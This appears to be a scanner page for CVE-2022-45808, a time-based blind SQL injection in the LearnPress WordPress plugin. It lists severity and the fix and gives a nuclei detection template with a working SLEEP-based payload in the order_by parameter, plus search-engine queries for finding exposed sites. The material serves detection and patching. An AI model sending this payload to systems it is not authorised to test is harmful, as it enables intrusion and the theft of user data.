LearnPress Plugin < 4.2.0 - Unauthenticated Time-Based Blind SQLi

criticalseverity

9.9CVSS score

4.4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

SQL Injection vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.

Impact

Unauthenticated attackers can execute time-based blind SQL injection through the order_by parameter in the LearnPress courses archive endpoint, potentially extracting sensitive database information including user credentials, course data, and student information.

Fix

Update LearnPress plugin to version 4.2.0 or later that properly sanitizes and parameterizes the order_by parameter.

How to confirm it

Send: POST /wp-json/lp/v1/courses/archive-course
Positive when: duration >= 6 and contains_all(body, "status", "message") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-45808 -u <target>

The full check

id: CVE-2022-45808

info:
  name: LearnPress Plugin < 4.2.0 - Unauthenticated Time-Based Blind SQLi
  author: DhiyaneshDK
  severity: critical
  description: |
    SQL Injection vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection through the order_by parameter in the LearnPress courses archive endpoint, potentially extracting sensitive database information including user credentials, course data, and student information.
  remediation: |
    Update LearnPress plugin to version 4.2.0 or later that properly sanitizes and parameterizes the order_by parameter.
  reference:
    - https://patchstack.com/database/vulnerability/learnpress/wordpress-learnpress-wordpress-lms-plugin-plugin-4-1-7-3-2-sql-injection?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2022-45808
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.9
    cve-id: CVE-2022-45808
    cwe-id: CWE-89
    epss-score: 0.0435
    epss-percentile: 0.91305
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/learnpress"
    fofa-query: body="/wp-content/plugins/learnpress"
    publicwww-query: /wp-content/plugins/learnpress
  tags: cve,cve2022,wp-plugin,wp,wordpress,learnpress,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        POST /wp-json/lp/v1/courses/archive-course HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        c_search=X&order_by=ID AND (SELECT 1471 FROM (SELECT(SLEEP(6)))VcSO)&order=DESC&limit=10&return_type=html

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'contains_all(body, "status", "message")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from